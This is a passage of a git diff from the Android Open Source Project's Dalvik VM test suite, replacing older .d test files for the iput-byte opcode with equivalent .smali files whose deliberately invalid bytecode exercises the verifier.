-       const v1, 77
-       iput-byte v1, v0, dot.junit.opcodes.iput_byte.d.T_iput_byte_13.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali
new file mode 100644
index 0000000..3c7b6ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_13.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_13;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.d
deleted file mode 100644
index 9be11ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_14.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_14
-.super dot/junit/opcodes/iput_byte/d/T_iput_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_byte/d/T_iput_byte_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()B
-.limit regs 2
-
-       iget-byte v0, v1, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_p1 B
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_p1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali
new file mode 100644
index 0000000..c3c3144
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_14.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_14;
+.super  Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()B
+.registers 2
+
+       iget-byte v0, v1, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_p1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_p1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.d
deleted file mode 100644
index 2f14e14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_15.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_15
-.super dot/junit/opcodes/iput_byte/d/T_iput_byte_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_byte/d/T_iput_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_pvt1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali
new file mode 100644
index 0000000..a0ca572
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_15.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_15;
+.super  Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_pvt1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.d
deleted file mode 100644
index 1f8bd94..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_17.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_17.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali
new file mode 100644
index 0000000..c3befbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_17.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_17;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.d
deleted file mode 100644
index 153aae1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_18.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali
new file mode 100644
index 0000000..4ad05cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_18.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.d
deleted file mode 100644
index 3805c5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_2.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_2
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-byte v0, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_4.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali
new file mode 100644
index 0000000..bcd20d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_2.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-byte v0, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.d
deleted file mode 100644
index 2452e5e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_20.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_20
-.super java/lang/Object
-
-.field public  st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-byte v3, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.smali
new file mode 100644
index 0000000..f2ccbc3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_20;
+.super Ljava/lang/Object;
+.source "T_iput_byte_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    iput-byte p0, p0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.d
deleted file mode 100644
index 78dde15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_21.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_21
-.super java/lang/Object
-
-.field public  st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       iput-byte v0, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali
new file mode 100644
index 0000000..92cabd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_21.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.d
deleted file mode 100644
index a81dfb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_22.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-byte v0, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali
new file mode 100644
index 0000000..e135847
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_22.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.d
deleted file mode 100644
index afae162..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_23.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_23
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-byte v0, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali
new file mode 100644
index 0000000..f2fc0cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_23.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.d
deleted file mode 100644
index ac31166..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_24.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-byte v0, v3, dot.junit.opcodes.iput_byte.d.T_iput_byte_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali
new file mode 100644
index 0000000..a2eb69e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_24.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.d
deleted file mode 100644
index c3a8828..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_3.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_3
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
